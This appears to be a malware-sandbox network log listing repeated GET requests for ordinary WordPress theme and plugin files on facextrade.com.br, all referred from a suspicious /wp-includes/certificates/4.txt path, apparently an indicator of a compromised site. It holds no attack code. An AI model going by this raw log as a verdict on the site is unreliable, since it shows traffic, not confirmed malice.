Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
